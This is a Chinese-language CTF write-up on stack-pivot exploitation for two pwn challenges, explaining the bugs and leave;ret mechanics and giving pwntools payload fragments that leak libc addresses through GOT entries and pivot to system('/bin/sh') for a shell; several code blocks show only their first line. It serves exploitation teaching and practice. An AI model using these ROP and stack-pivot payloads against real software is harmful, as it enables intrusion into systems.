栈迁移利用方法分析
参考资料:https://hetian.blog.csdn.net/article/details/106561835
1)[Black Watch 入群题]PWN
1 |
|
这个是本题的主要函数,基本程序还是很清楚的,第一个 read 函数可以读取 0x200 个字节的内容,
&s 在 bss 段上,第二个 read 函数可以读取 0x20 个字节的内容到 buf 当中。在函数当中并没有找到后门函数。
那我们现在来总结一下我们需要解决的问题:
- &s 写在 bss 段无法触发栈溢出,buf 可以出发栈溢出但是可读取字节太少,导致可溢出字节太少。
- 没有找到后门函数,大概率需要利用延迟绑定,需要利用.got.plt 表寻找 libc
那我们目前就确定了基本方案,在 bss 段上写 rop 链,利用栈迁移从第二次 read 的栈溢出出发 rop 链。
1 | payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) |
在第一次 read 以中传入 payload1 当做可用的 rop 链,之后需要利用第二次 read 构造栈迁移
在此之前,先复习一下几个汇编指令:
1 | mov esp, ebp ; // 把栈指针esp指向ebp的位置(栈帧基址) |
1 | pop eip ; // 把esp指向的内容弹出到eip(程序执行地址),esp自动+4 |
利用 leave_ret 汇编指令我们可以构造以下 payload2,不过前题我们要知道偏移,运行到第二次 read 手测一下
28 - 4 = 0x18, 之后就可以构造 payload2 了 ->
1 | payload2 = 'a'*0x18 // 填充到ebp的偏移 |
那么第一段 exp 大概就构造好了:
1 | from pwn import * |
相信剩下的 exp 就是基本的 ret2libc,应该不成问题,放一个总 exp 吧:
1 | from pwn import * |
2)actf_2019_babystack(栈迁移)
signal() 函数
在 C 语言(POSIX 标准)中,signal() 用来 设置一个信号的处理函数,函数原型是:
1 | #include <signal.h> |
- signum:要捕捉的信号编号。
- handler:指向一个函数的指针,当信号发生时调用该函数。
- 也可以用 SIG_IGN(忽略信号)或 SIG_DFL(默认处理方式)。
返回值是 原来的信号处理函数指针。
- signal(14, handler) 设置了一个自定义信号处理函数。
- 信号 14 是 SIGALRM,用于定时器。
- 信号发生时会执行 handler,而不是默认终止程序。
putchar(62)
相当于 putchar(‘>’);就是输出对应 ASCLL 码的字符
1 | __int64 sub_400A1A() |
- 先确定 bytes 大小,这里我们确定选择最大值 0xE0
我们发现 0xE0 虽然可以溢出,不过最多也就是覆盖 rbp 和返回地址了,所以确定这是一道栈迁移的题目。
另外,我们注意到:bytes 是写在 .bss 段上的
1 | from pwn import * |
drop=True 表示 返回的字符串里不包含分隔符本身,也就是不包含 \n
- 栈迁移
1 | payload = b'aaaaaaaa' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) |
- 接收 puts 地址,进行 libc 的计算,找到 system 和 /bin/sh 的地址
1 | libc = ELF('./libc-2.27.so') |
- 在栈上写入 system(‘/bin/sh’)再进行一次栈迁移,再次迁移回来就可以执行获取 shell
1 | io.sendline(str(224)) |
更新: 2026-03-18 21:50:02
原文: https://www.yuque.com/idcm/wnemg9/onc5zyi4mkxs4vih